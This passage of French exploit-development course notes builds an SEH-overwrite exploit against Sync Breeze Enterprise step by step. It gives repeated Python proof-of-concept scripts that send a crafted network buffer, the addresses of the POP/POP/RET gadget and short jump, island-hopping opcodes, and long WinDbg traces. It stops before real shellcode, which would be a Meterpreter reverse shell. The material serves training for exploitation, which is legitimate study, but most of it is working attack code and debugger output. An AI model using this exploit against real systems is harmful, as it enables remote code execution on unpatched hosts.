b"\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41"
b"\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e"
b"\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b"
b"\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68"
b"\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75"
b"\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82"
b"\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f"
b"\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c"
b"\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9"
b"\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6"
b"\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3"
b"\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
b"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd"
b"\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea"
b"\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7"
b"\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")
inputBuffer = b"\x41" * 128
inputBuffer += b"\x42\x42\x42\x42"
inputBuffer += badchars
inputBuffer += b"\x43" * (size - len(inputBuffer))
header = b"\x75\x19\xba\xab"
header += b"\x03\x00\x00\x00"
header += b"\x00\x40\x00\x00"
header += pack('<I', len(inputBuffer))
header += pack('<I', len(inputBuffer))
header += pack('<I', inputBuffer[-1])
buf = header + inputBuffer
[...]
WinDbg suite à l'exécution de l'exploit :
0:011> g
(b40.17d4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=42424242 edx=77853b20 esi=00000000 edi=00000000
eip=42424242 esp=021af438 ebp=021af458 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
42424242 ?? ???
EIP
est toujours sous notre contrôle et contient bien les 0x42
. On affiche maintenant les octets pointés par le deuxième paramètre (EstablisherFrame
) passé à la fonction _except_handler
à partir du registre de pile (ESP
) :
Note : Comme vu précédemment, c'est le paramètre
EstablisherFrame
qui contient notre payload et donc les caractères de0x01
a0xFF
.
#
0:011> dds esp L5
021af438 77853b02 ntdll!ExecuteHandler2+0x26
021af43c 021af540
021af440 021aff54
021af444 021af55c
021af448 021af4cc
#
0:011> db 021aff54
021aff54 41 41 41 41 42 42 42 42-01 03 04 05 06 07 08 09 AAAABBBB........
021aff64 00 3e 8d 00 38 6b d8 00-72 40 8d 00 40 6f d8 00 .>..8k..r@..@o..
On identifie que 0x02
n'est pas présent, indiquant que c'est un mauvais caractère.
On continue la procédure jusqu'à identifier tous les mauvais caractères.
Note : Il est possible qu'il n'y ait pas assez de place pour stocker tous les caractères jusqu'à
0xFF
. Dans ce cas, il est nécessaire de supprimer une première partie ayant déjà été validée pour vérifier les caractères suivants.
Trouver une séquence P/P/R
Pour rediriger le flot d'exécution, il faut donc trouver une séquence d'instruction P/P/R tout en prenant en compte les protections mémoire.
On utilise les modules présents nativement dans WinDBG :
0:009> .load narly
#
# List tous les modules chargés et leurs protections mémoire
0:009> !nmod
00400000 00463000 syncbrs /SafeSEH OFF C:\Program Files\Sync Breeze Enterprise\bin\syncbrs.exe
00540000 00614000 libpal /SafeSEH OFF C:\Program Files\Sync Breeze Enterprise\bin\libpal.dll
00920000 009d5000 libsync /SafeSEH OFF C:\Program Files\Sync Breeze Enterprise\bin\libsync.dll
10000000 10226000 libspp /SafeSEH OFF C:\Program Files\Sync Breeze Enterprise\bin\libspp.dll
53ea0000 53eb6000 pnrpnsp /SafeSEH ON /GS *ASLR *DEP C:\Windows\system32\pnrpnsp.dll
549a0000 549b1000 napinsp /SafeSEH ON /GS *ASLR *DEP
[...]
75e70000 75e92000 GDI32 NO_SEH /GS *ASLR *DEP C:\Windows\System32\GDI32.dll
77710000 777a5000 KERNEL32 /SafeSEH ON /GS *ASLR *DEP C:\Windows\System32\KERNEL32.DLL
777b0000 77940000 ntdll /SafeSEH ON /GS *ASLR *DEP C:\Windows\SYSTEM32\ntdll.dll
- L'indication
/SafeSEH OFF
indique quesyncbrs.exe
et les moduleslibpal.dll
-libsync.dll
etlibspp.dll
sont compilés sansSafeSEH
- Les protections
DEP
etASLR
ne sont pas actives non plus
Pour que l'exploit soit le plus stable possible on va chercher la séquence P/P/R dans un module qui fait partie de l'application, ainsi libspp.dll
est un bon candidat.
On va écrire un petit script pour chercher les instructions P/P/R car contrairement à l'instruction JMP ESP
qu'on cherchait via la commande s
de WinDBG, ici les instructions POP
peuvent s'appliquer à un grand nombre de registres.
Le script aura besoin des éléments suivants pour fonctionner :
- L'adresse de début de la plage mémoire
- L'adresse de fin de la plage mémoire
0:009> lm m libspp
Browse full module list
start end module name
10000000 10226000 libspp (deferred)
- Les opcodes des instructions à chercher
- On génère les opcodes des instructions
POP
pour tous les registres x86 saufESP
$ msf-nasm_shell
nasm > pop eax
00000000 58 pop eax
#
nasm > pop ebx
00000000 5B pop ebx
#
nasm > pop ecx
00000000 59 pop ecx
#
nasm > pop edx
00000000 5A pop edx
#
nasm > pop esi
00000000 5E pop esi
#
nasm > pop edi
00000000 5F pop edi
#
nasm > pop ebp
00000000 5D pop ebp
#
nasm > ret
00000000 C3 ret
On voit que les opcodes se suivent pour les instructions POP R32
: 58 59 5a 5b [5c] 5d 5e 5f
.
Script final pour identifier la séquence en mémoire :
.block
: Définis un bloc de code à exécuter.for (r $t0 = 0x58; $t0 < 0x5F; r $t0 = $t0 + 0x01)
: Boucle en utilisant le pseudo-registret0
en commençant à0x58
pour finir avant0x5F
. Cette première boucle vise à identifier la première instructionPOP R32
..for (r $t1 = 0x58; $t1 < 0x5F; r $t1 = $t1 + 0x01)
: Deuxième boucle qui vise à identifier la deuxième instructionPOP R32
.s-[1]b 10000000 10226000 $t0 $t1 c3
: Commande de recherche des instructions P/P/R.- Le flag
1
indique qu'on veut afficher l'adresse ou les opcodes sont trouvés - Adresses de début et de fin du module cible
- Les deux pseudo-regitres
t0
ett1
- Opcode de l'instruction
ret
.block
{
.for (r $t0 = 0x58; $t0 < 0x5F; r $t0 = $t0 + 0x01)
{
.for (r $t1 = 0x58; $t1 < 0x5F; r $t1 = $t1 + 0x01)
{
s-[1]b 10000000 10226000 $t0 $t1 c3
}
}
}
Le script peut être enregistré sur le disque pour être ensuite exécuté via WinDBG :
On désassemble la première adresse indiquée par le script. Le flot P/P/R s'y trouve bien :
On modifie la preuve de concept :
#!/usr/bin/python
import socket
import sys
from struct import pack
try:
server = sys.argv[1]
port = 9121
size = 1000
inputBuffer = b"\x41" * 128 # Offset exact
inputBuffer += pack("<L", (0x1015a2f0)) # P/P/R (EIP)
inputBuffer += b"\x43" * (size - len(inputBuffer)) # Payload
header = b"\x75\x19\xba\xab"
header += b"\x03\x00\x00\x00"
header += b"\x00\x40\x00\x00"
header += pack('<I', len(inputBuffer))
header += pack('<I', len(inputBuffer))
header += pack('<I', inputBuffer[-1])
buf = header + inputBuffer
[...]
WinDbg suite à l'exécution de l'exploit :
#
0:010> g
(418.e08): Invalid lock sequence - code c000001e (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=77853b02 ebx=01aaf540 ecx=1015a2f4 edx=77853b20 esi=00000000 edi=00000000
eip=01aaff58 esp=01aaf444 ebp=01aaf458 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
01aaff58 f0a215104343 lock mov byte ptr ds:[43431015h],al ds:0023:43431015=??
#
0:010> !exchain
01aaf44c: ntdll!ExecuteHandler2+44 (77853b20)
01aafe1c: libpal!md5_starts+149fb (009edf5b)
01aaff54: *** WARNING: Unable to verify checksum for C:\Program Files\Sync Breeze Enterprise\bin\libspp.dll
libspp!pcre_exec+16460 (1015a2f0)
Invalid exception stack at 41414141
#
0:010> u 1015a2f0 L3
libspp!pcre_exec+0x16460:
1015a2f0 58 pop eax
1015a2f1 5b pop ebx
1015a2f2 c3 ret
On retrouve bien l'adresse des instructions P/P/R via la commande !exchain
: libspp!pcre_exec+16460 (1015a2f0)
. En désassemblant le contenu de l'adresse 1015a2f0
on retrouve bien les instructions P/P/R.
On positionne un point d'arrêt sur l'adresse de la séquence P/P/R puis on relance l'exécution :
Point d'arrêt atteint, EIP
contient bien l'adresse pointant vers la séquence P/P/R :
#
0:009> g
Breakpoint 0 hit
eax=00000000 ebx=00000000 ecx=1015a2f0 edx=77853b20 esi=00000000 edi=00000000
eip=1015a2f0 esp=01a4ef00 ebp=01a4ef20 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
libspp!pcre_exec+0x16460:
1015a2f0 58 pop eax
On déroule étape par étape :
#
0:009> r
eax=00000000 ebx=00000000 ecx=1015a2f0 edx=77853b20 esi=00000000 edi=00000000
eip=1015a2f0 esp=01a4ef00 ebp=01a4ef20 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
libspp!pcre_exec+0x16460:
1015a2f0 58 pop eax
#
0:009> t
eax=77853b02 ebx=00000000 ecx=1015a2f0 edx=77853b20 esi=00000000 edi=00000000
eip=1015a2f1 esp=01a4ef04 ebp=01a4ef20 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
libspp!pcre_exec+0x16461:
1015a2f1 5b pop ebx
#
0:009> t
eax=77853b02 ebx=01a4f008 ecx=1015a2f0 edx=77853b20 esi=00000000 edi=00000000
eip=1015a2f2 esp=01a4ef08 ebp=01a4ef20 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
libspp!pcre_exec+0x16462:
1015a2f2 c3 ret
On a bien été capable de rediriger le flot. Le flot suit l'adresse indiquée via exchain
qui est l'adresse ou commence notre séquence P/P/R.
On déréférence le registre de pile (ESP
) :
0:008> dd poi(esp) L8
018fff54 41414141 1015a2f0 43434343 43434343
018fff64 43434343 43434343 43434343 43434343
0:008> t
eax=77383b02 ebx=018ff540 ecx=1015a2f0 edx=77383b20 esi=00000000 edi=00000000
eip=018fff54 esp=018ff444 ebp=018ff458 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
018fff54 41 inc ecx
Après l'exécution de RET
on retourne sur la pile au sein de notre payload juste avant l'adresse de notre _except_handler (exchain
).
Ceci est dû au fait que le paramètre EstablisherFrame
pointe sur le début de la structure _EXCEPTION_REGISTRATION_RECORD
qui a pour premier élément le membre Next
suivi par _except_handler
.
Island-Hopping
Comme indiqué précédemment, la structure EXCEPTION_REGISTRATION_RECORD
commence avec le membre Next
. Une fois que l'exécution est redirigée vers ce membre sur la pile via la séquence P/P/R le CPU va exécuter les instructions assembleur générées via la opcodes de l'adresse mémoire contenant la séquence P/P/R.
Les octets qui composent l'adresse des instructions P/P/R sont traduits en une instruction lock mov byte ptr ds:[43431015h],al
:
0:011> u eip L8
01f2ff54 41 inc ecx
01f2ff55 41 inc ecx
01f2ff56 41 inc ecx
01f2ff57 41 inc ecx
01f2ff58 f0a215104343 lock mov byte ptr ds:[43431015h],al #
01f2ff5e 43 inc ebx
01f2ff5f 43 inc ebx
01f2ff60 43 inc ebx
#
0:011> dd 0x43431015 L4 # Adresse pas mappée
43431015 ???????? ???????? ???????? ????????
Cette instruction va écrire le registre al
dans 0x43431015
. Ce n'est pas une adresse mappée donc il va y avoir un access violation.
On peut contourner ça en utilisant les 4er bytes de la structure Next
SEH pour créer une instruction qui va sauter (jump) par-dessus et rediriger vers un shellcode après l'adresse P/P/R.
En assembleur, les short jump sont aussi appelés relative jump. Le premier opcode d'un short jump est toujours 0XEB
et le second opcode est l'offset relatif en avant ou en arrière.
Le jump relatif est de 06
bytes plutôt que 4, qui est la taille de l'adresse P/P/R, car l'offset est calculé à partir de l'adresse suivant le jump.
On modifie la preuve de concept en ajoutant 06eb
correspondant au short jump suivis de deux instructions NOP
représentées par les opcode 9090
:
#!/usr/bin/python
import socket
import sys
from struct import pack
try:
server = sys.argv[1]
port = 9121
size = 1000
inputBuffer = b"\x41" * 124 # On baisse de 4 la taille (de 128 a 124)
inputBuffer += pack("<L",(0x06eb9090)) # Next Structure Exception Handler
inputBuffer += pack("<L", (0x1015a2f0)) # P/P/R (EIP)
inputBuffer += b"\x43" * (size - len(inputBuffer)) # Payload
header = b"\x75\x19\xba\xab"
header += b"\x03\x00\x00\x00"
header += b"\x00\x40\x00\x00"
header += pack('<I', len(inputBuffer))
header += pack('<I', len(inputBuffer))
header += pack('<I', inputBuffer[-1])
buf = header + inputBuffer
[...]
WinDbg suite à l'exécution de l'exploit :
(cd4.1814): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** WARNING: Unable to verify checksum for C:\Program Files\Sync Breeze Enterprise\bin\libpal.dll
eax=41414141 ebx=019efa1c ecx=019eff18 edx=019ef9d4 esi=019eff18 edi=019efb20
eip=00862a9d esp=019ef9a8 ebp=019efec8 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
libpal!SCA_ConfigObj::Deserialize+0x1d:
00862a9d ff5024 call dword ptr [eax+24h] ds:0023:41414165=????????
La commande exchain
nous affiche bien 1015a2f0
qui est l'adresse contenant la séquence P/P/R :
0:009> !exchain
019efe1c: libpal!md5_starts+149fb (008ddf5b)
019eff54: *** WARNING: Unable to verify checksum for C:\Program Files\Sync Breeze Enterprise\bin\libspp.dll
libspp!pcre_exec+16460 (1015a2f0)
Invalid exception stack at 06eb9090
On positionne de nouveau un point d'arrêt sur cette adresse et on relance l'exécution :
Le point d'arrêt et atteint et on déroule pas à pas la séquence P/P/R :
#
Breakpoint 0 hit
eax=00000000 ebx=00000000 ecx=1015a2f0 edx=77853b20 esi=00000000 edi=00000000
eip=1015a2f0 esp=019ef438 ebp=019ef458 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
libspp!pcre_exec+0x16460:
1015a2f0 58 pop eax
#
0:009> r
eax=00000000 ebx=00000000 ecx=1015a2f0 edx=77853b20 esi=00000000 edi=00000000
eip=1015a2f0 esp=019ef438 ebp=019ef458 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
libspp!pcre_exec+0x16460:
1015a2f0 58 pop eax
#
0:009> t
eax=77853b02 ebx=00000000 ecx=1015a2f0 edx=77853b20 esi=00000000 edi=00000000
eip=1015a2f1 esp=019ef43c ebp=019ef458 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
libspp!pcre_exec+0x16461:
1015a2f1 5b pop ebx
#
0:009> t
eax=77853b02 ebx=019ef540 ecx=1015a2f0 edx=77853b20 esi=00000000 edi=00000000
eip=1015a2f2 esp=019ef440 ebp=019ef458 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
libspp!pcre_exec+0x16462:
1015a2f2 c3 ret
On arrive sur les deux instructions NOP
qui précèdent le short jump :
# 1er NOP (90)
0:009> t
eax=77853b02 ebx=019ef540 ecx=1015a2f0 edx=77853b20 esi=00000000 edi=00000000
eip=019eff54 esp=019ef444 ebp=019ef458 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
019eff54 90 nop
# 2em NOP (90)
0:009> t
eax=77853b02 ebx=019ef540 ecx=1015a2f0 edx=77853b20 esi=00000000 edi=00000000
eip=019eff55 esp=019ef444 ebp=019ef458 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
019eff55 90 nop
# Short JUMP `eb06`
0:009> t
eax=77853b02 ebx=019ef540 ecx=1015a2f0 edx=77853b20 esi=00000000 edi=00000000
eip=019eff56 esp=019ef444 ebp=019ef458 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
019eff56 eb06 jmp 019eff5e
Après exécution du short jump on est dans notre payload juste après le SEH :
0:009> dd 019eff5e - 0x06
019eff58 1015a2f0 43434343 43434343 43434343
019eff68 43434343 43434343 43434343 43434343
019eff78 43434343 43434343 43434343 43434343
019eff88 43434343 43434343 43434343 43434343
019eff98 43434343 43434343 43434343 43434343
019effa8 43434343 43434343 43434343 43434343
019effb8 43434343 43434343 43434343 43434343
019effc8 43434343 43434343 43434343 43434343
Si on affiche plus en détail le payload on se rend compte qu'il est tronqué et proche du début de la pile :
[...]
eax=77853b02 ebx=019ef540 ecx=1015a2f0 edx=77853b20 esi=00000000 edi=00000000
eip=019eff56 esp=019ef444 ebp=019ef458 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
019eff56 eb06 jmp 019eff5e
#
0:009> dd eip L30
019eff56 a2f006eb 43431015 43434343 43434343
019eff66 43434343 43434343 43434343 43434343
019eff76 43434343 43434343 43434343 43434343
019eff86 43434343 43434343 43434343 43434343
019eff96 43434343 43434343 43434343 43434343
019effa6 43434343 43434343 43434343 43434343
019effb6 43434343 43434343 43434343 43434343
019effc6 43434343 43434343 43434343 43434343
019effd6 43434343 ff004343 2910019e ffff7781
019effe6 3c67ffff 00007785 00000000 3e100000
019efff6 65480089 000000dc ???????? ????????
019f0006 ???????? ???????? ???????? ????????
0:009> !teb
TEB at 002b2000
ExceptionList: 019ef44c
StackBase: 019f0000 # Début de la stack
[...]
Il n'y a pas assez d'espace ici pour stocker un reverse shell Meterpreter.
La preuve de concept envoie près de 1000 octets qui ne sont pas présents à cet endroit là. On veut identifier l'espace en mémoire où ils sont stockés pour y jump et y stocker le shellcode.
On modifie la preuve de concept de façon à stocker le futur shellcode dans une variable distincte avec un contenu facilement identifiable :
#!/usr/bin/python
import socket
import sys
from struct import pack
try:
server = sys.argv[1]
port = 9121
size = 1000
shellcode = b"\x43" * 400
inputBuffer = b"\x41" * 124
inputBuffer += pack("<L",(0x06eb9090)) # (NSEH)
inputBuffer += pack("<L", (0x1015a2f0)) # (SEH) P/P/R
inputBuffer += b"\x90" * (size - len(inputBuffer) - len(shellcode))
inputBuffer += shellcode
header = b"\x75\x19\xba\xab"
header += b"\x03\x00\x00\x00"
header += b"\x00\x40\x00\x00"
header += pack('<I', len(inputBuffer))
header += pack('<I', len(inputBuffer))
header += pack('<I', inputBuffer[-1])
buf = header + inputBuffer
[...]
WinDbg suite à l'exécution de l'exploit :
- Access violation
- Définition du point d'arrêt comme précédemment sur l'exception_handler
- Relancer l'exécution
- Exécution de la séquence P/P/R
- Exécution du short jump
- Exécution des instructions
NOP
0:009> g
(d24.155c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** WARNING: Unable to verify checksum for C:\Program Files\Sync Breeze Enterprise\bin\libpal.dll
eax=41414141 ebx=019bfa1c ecx=019bff18 edx=019bf9d4 esi=019bff18 edi=019bfb20
eip=008d2a9d esp=019bf9a8 ebp=019bfec8 iopl=0 nv up ei ng nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010286
libpal!SCA_ConfigObj::Deserialize+0x1d:
008d2a9d ff5024 call dword ptr [eax+24h] ds:0023:41414165=????????
0:009> !exchain
019bfe1c: libpal!md5_starts+149fb (0094df5b)
019bff54: *** WARNING: Unable to verify checksum for C:\Program Files\Sync Breeze Enterprise\bin\libspp.dll
libspp!pcre_exec+16460 (1015a2f0)
Invalid exception stack at 06eb9090
#
0:009> bp 0x1015a2f0
0:009> g
Breakpoint 0 hit
eax=00000000 ebx=00000000 ecx=1015a2f0 edx=77853b20 esi=00000000 edi=00000000
eip=1015a2f0 esp=019bf438 ebp=019bf458 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
libspp!pcre_exec+0x16460:
1015a2f0 58 pop eax
#
# P/P/R
#
0:009> r
eax=00000000 ebx=00000000 ecx=1015a2f0 edx=77853b20 esi=00000000 edi=00000000
eip=1015a2f0 esp=019bf438 ebp=019bf458 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
libspp!pcre_exec+0x16460:
1015a2f0 58 pop eax
0:009> t
eax=77853b02 ebx=00000000 ecx=1015a2f0 edx=77853b20 esi=00000000 edi=00000000
eip=1015a2f1 esp=019bf43c ebp=019bf458 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
libspp!pcre_exec+0x16461:
1015a2f1 5b pop ebx
0:009> t
eax=77853b02 ebx=019bf540 ecx=1015a2f0 edx=77853b20 esi=00000000 edi=00000000
eip=1015a2f2 esp=019bf440 ebp=019bf458 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
libspp!pcre_exec+0x16462:
1015a2f2 c3 ret
#
# SHORT JUMP
#
0:009> t
eax=77853b02 ebx=019bf540 ecx=1015a2f0 edx=77853b20 esi=00000000 edi=00000000
eip=019bff54 esp=019bf444 ebp=019bf458 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
019bff54 90 nop
0:009> t
eax=77853b02 ebx=019bf540 ecx=1015a2f0 edx=77853b20 esi=00000000 edi=00000000
eip=019bff55 esp=019bf444 ebp=019bf458 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
019bff55 90 nop
0:009> t
eax=77853b02 ebx=019bf540 ecx=1015a2f0 edx=77853b20 esi=00000000 edi=00000000
eip=019bff56 esp=019bf444 ebp=019bf458 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
019bff56 eb06 jmp 019bff5e
#
# DEBUT DES \x90
#
0:009> t
eax=77853b02 ebx=019bf540 ecx=1015a2f0 edx=77853b20 esi=00000000 edi=00000000
eip=019bff5e esp=019bf444 ebp=019bf458 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
019bff5e 90 nop
On veut maintenant chercher dans toute la pile le passage de 0x90
à notre shellcode de 0x43
. Pour cela on récupère les adresses de début et de fin de la pile :
On recherche dans toute la pile le passage de 0x90
à notre shellcode de 0x43
:
0:009> s -b 019be000 019c0000 90 90 90 90 43 43 43 43 43 43 43 43
019bfc70 90 90 90 90 43 43 43 43-43 43 43 43 43 43 43 43 ....CCCCCCCCCCCC
On vérifie que le shellcode n'est pas tronqué :
0:009> dd 019bfc70 L65
019bfc70 90909090 43434343 43434343 43434343
019bfc80 43434343 43434343 43434343 43434343
019bfc90 43434343 43434343 43434343 43434343
019bfca0 43434343 43434343 43434343 43434343
019bfcb0 43434343 43434343 43434343 43434343
019bfcc0 43434343 43434343 43434343 43434343
019bfcd0 43434343 43434343 43434343 43434343
019bfce0 43434343 43434343 43434343 43434343
019bfcf0 43434343 43434343 43434343 43434343
019bfd00 43434343 43434343 43434343 43434343
019bfd10 43434343 43434343 43434343 43434343
019bfd20 43434343 43434343 43434343 43434343
019bfd30 43434343 43434343 43434343 43434343
019bfd40 43434343 43434343 43434343 43434343
019bfd50 43434343 43434343 43434343 43434343
019bfd60 43434343 43434343 43434343 43434343
019bfd70 43434343 43434343 43434343 43434343
019bfd80 43434343 43434343 43434343 43434343
019bfd90 43434343 43434343 43434343 43434343
019bfda0 43434343 43434343 43434343 43434343
019bfdb0 43434343 43434343 43434343 43434343
019bfdc0 43434343 43434343 43434343 43434343
019bfdd0 43434343 43434343 43434343 43434343
019bfde0 43434343 43434343 43434343 43434343
019bfdf0 43434343 43434343 43434343 43434343
019bfe00 43434343
Le payload commence très précisément à 019bfc74
, c'est-à-dire 4 octets après 019bfc70
qui contient les 90909090
:
0:009> dd 019bfc74 L65
019bfc74 43434343 43434343 43434343 43434343
019bfc84 43434343 43434343 43434343 43434343
019bfc94 43434343 43434343 43434343 43434343
[...]
019bfdf4 43434343 43434343 43434343 43434343
019bfe04 fffffffe
Il faut maintenant trouver l'écart entre notre pointeur de pile (ESP
) et le début du payload. On va utiliser l'espace limité qu'on a pour assembler les instructions qui vont permettre de island hop pour rediriger vers le payload.
On soustrait l'adresse ou commence le payload à celle contenue dans le pointeur de pile à ce moment-là :
Note : Pour s'assurer que la différence reste stable, il faut relancer plusieurs fois l'exploit, de préférence sur des systèmes différents. Dans le cas où il y aurait des variations, il est conseillé de le préfixer par des
NOP
.
Pour atteindre notre payload on va augmenter ESP
(stack pointer) de 0x830
et ensuite faire JMP ESP
. Ce opcode contient des null byte qui est un mauvais caractère :
┌──(kali㉿kali)-[/media/…/os/exp-301-osed/cours/cours4]
└─$ msf-nasm_shell
nasm > add esp,0x830
00000000 81C430080000 add esp,0x830
On fait l'ajout sur le registre sp
qui correspond au 16 bits du bas pour contourner ce problème :
On modifie la preuve de concept en ajoutant les nouveaux opcodes :
#!/usr/bin/python
import socket
import sys
from struct import pack
try:
server = sys.argv[1]
port = 9121
size = 1000
shellcode = b"\x90" * 8
shellcode = b"\x43" * (400 - len(shellcode))
inputBuffer = b"\x41" * 124
inputBuffer += pack("<L",(0x06eb9090)) # (NSEH)
inputBuffer += pack("<L", (0x1015a2f0)) # (SEH) P/P/R
inputBuffer += b"\x90" * 2
inputBuffer += b"\x66\x81\xc4\x30\x08" # ADD SP,0x830
inputBuffer += b"\xff\xe4" # JMP ESP
inputBuffer += b"\x90" * (size - len(inputBuffer) - len(shellcode))
inputBuffer += shellcode
header = b"\x75\x19\xba\xab"
WinDbg suite à l'exécution de l'exploit :
- Access violation
- Définition du point d'arrêt comme précédemment sur l'exception_handler
- Relancer l'exécution
- Exécution de la séquence P/P/R
- Exécution du short jump
- Exécution des instructions
NOP
- Exécution des instructions permettant de combler l'écart jusqu'au payload
0:009> g
(690.13a8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** WARNING: Unable to verify checksum for C:\Program Files\Sync Breeze Enterprise\bin\libpal.dll
eax=41414141 ebx=01c9fa1c ecx=01c9ff18 edx=01c9f9d4 esi=01c9ff18 edi=01c9fb20
eip=00872a9d esp=01c9f9a8 ebp=01c9fec8 iopl=0 nv up ei ng nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010286
libpal!SCA_ConfigObj::Deserialize+0x1d:
00872a9d ff5024 call dword ptr [eax+24h] ds:0023:41414165=????????
0:009> !exchain
01c9fe1c: libpal!md5_starts+149fb (008edf5b)
01c9ff54: *** WARNING: Unable to verify checksum for C:\Program Files\Sync Breeze Enterprise\bin\libspp.dll
libspp!pcre_exec+16460 (1015a2f0)
Invalid exception stack at 06eb9090
#
#
0:009> bp 0x1015a2f0
0:009> g
Breakpoint 0 hit
eax=00000000 ebx=00000000 ecx=1015a2f0 edx=77853b20 esi=00000000 edi=00000000
eip=1015a2f0 esp=01c9f438 ebp=01c9f458 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
libspp!pcre_exec+0x16460:
1015a2f0 58 pop eax
#
# P/P/R
#
0:009> r
eax=00000000 ebx=00000000 ecx=1015a2f0 edx=77853b20 esi=00000000 edi=00000000
eip=1015a2f0 esp=01c9f438 ebp=01c9f458 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
libspp!pcre_exec+0x16460:
1015a2f0 58 pop eax
0:009> t
eax=77853b02 ebx=00000000 ecx=1015a2f0 edx=77853b20 esi=00000000 edi=00000000
eip=1015a2f1 esp=01c9f43c ebp=01c9f458 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
libspp!pcre_exec+0x16461:
1015a2f1 5b pop ebx
0:009> t
eax=77853b02 ebx=01c9f540 ecx=1015a2f0 edx=77853b20 esi=00000000 edi=00000000
eip=1015a2f2 esp=01c9f440 ebp=01c9f458 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
libspp!pcre_exec+0x16462:
1015a2f2 c3 ret
#
# SHORT JUMP
#
0:009> t
eax=77853b02 ebx=01c9f540 ecx=1015a2f0 edx=77853b20 esi=00000000 edi=00000000
eip=01c9ff54 esp=01c9f444 ebp=01c9f458 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
01c9ff54 90 nop
0:009> t
eax=77853b02 ebx=01c9f540 ecx=1015a2f0 edx=77853b20 esi=00000000 edi=00000000
